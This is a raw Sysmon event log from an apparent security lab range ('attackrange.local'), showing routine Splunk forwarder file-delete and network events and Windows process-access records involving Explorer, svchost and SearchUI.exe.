Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=5D8C091D6D9554DBC521892ABF1C4554,SHA256=7FC56F37FD3FF1725F3BEE27261D102C3F5045F56D5434C70B7D0E14206DE9FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014847Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:46.616{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97ED4025E30AAD91DB319C6E903F373D,SHA256=7E0E049CA0DCBDED68BF9096E2F2E0553A4C51F5A1BF42E1E21CFF608851E0F5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:46.524{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=861DA372662C7384E53F6ADCEBE44E90,SHA256=DB6B015BBBA74673D553C58D2C09EA7E3B56EFE7EA5B84D4C5FCE3FEFCA7DB3D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014849Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:47.631{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=79576BF8B343BA11CA033218BBB1D286,SHA256=9BBAFE1A50F007F0770962155185F664A8A2630BAA212DB3E645896B0819B5BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:47.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7EA72B51030E6FCC15C53101B3F339FD,SHA256=93C30D362B16957D428B255903E38A20F32B1679A4A60224BA4978631D259ACA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014848Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:45.394{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50183-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:48.695{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A98442556ED1A71D0FD731188DB05966,SHA256=7115DFB6072ACCB4424885BDA17F1305F4B4F6F82DB33682BF959B35945D83F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014850Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:48.678{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=70A0C5AA0CB736B35DDD786A510B6F74,SHA256=0AA76EBDAAB19AC3A5E7F262E369E21A4E8278CC65517BE3739D747C4414A544,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:49.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47C1C42985AE4BDEE0E044C3A9A43347,SHA256=81B1B1914F44F83625301C4829716D3F372C08F74708D3A24707215B8C6AAA4C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014851Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:49.694{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF528C9FCCEE9E6B4165725B0A1360A9,SHA256=3323B341506412BFFA0EE33320B182472C17535514D0679924163225456360A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:50.910{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FD70EF4144C9AA37DF6093FA92A6681,SHA256=789939088218C4DADB075486814D8FB9476BFA7FCDFE7413D0DDE11D3267A3E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014852Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:50.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26F44FB4628E13F4040300EBF9550E5C,SHA256=F306C0EE68D62CA8D2C2C8312BAD3EA22D2E4690E9F88ED303273EEEF9EA32C8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:47.353{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59368-false10.0.1.12-8000- 23542300x800000000000000014853Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:51.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=981EB62308140A37372126DB9C50CC3F,SHA256=C1ACBB75E9CB9659F2E087C3DFFA085F6EC83818404BEC15816C0096F45B2735,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014855Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:52.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B137FD0BB4BCADE0D0CB691DA0F86FE3,SHA256=9FDC01E37DF2C64C220E3707CD189667D82A083715B20D91CE3CC46A15ED2A4A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.988{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+1a962|C:\Windows\system32\windows.cortana.onecore.dll+16e12|C:\Windows\system32\windows.cortana.onecore.dll+16d5b|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000047080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.988{7BD73061-6D0F-613B-9406-00000000F001}44806888C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.988{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+6198|C:\Windows\system32\windows.cortana.onecore.dll+16cb1|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000047078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.988{7BD73061-6D0F-613B-9406-00000000F001}44806888C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.988{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000047076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.988{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000047075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0D00-00000000F001}892992C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0D00-00000000F001}892992C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0D00-00000000F001}892992C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0D00-00000000F001}892992C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0D00-00000000F001}892992C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0D00-00000000F001}892992C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-6D0F-613B-9406-00000000F001}44802344C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 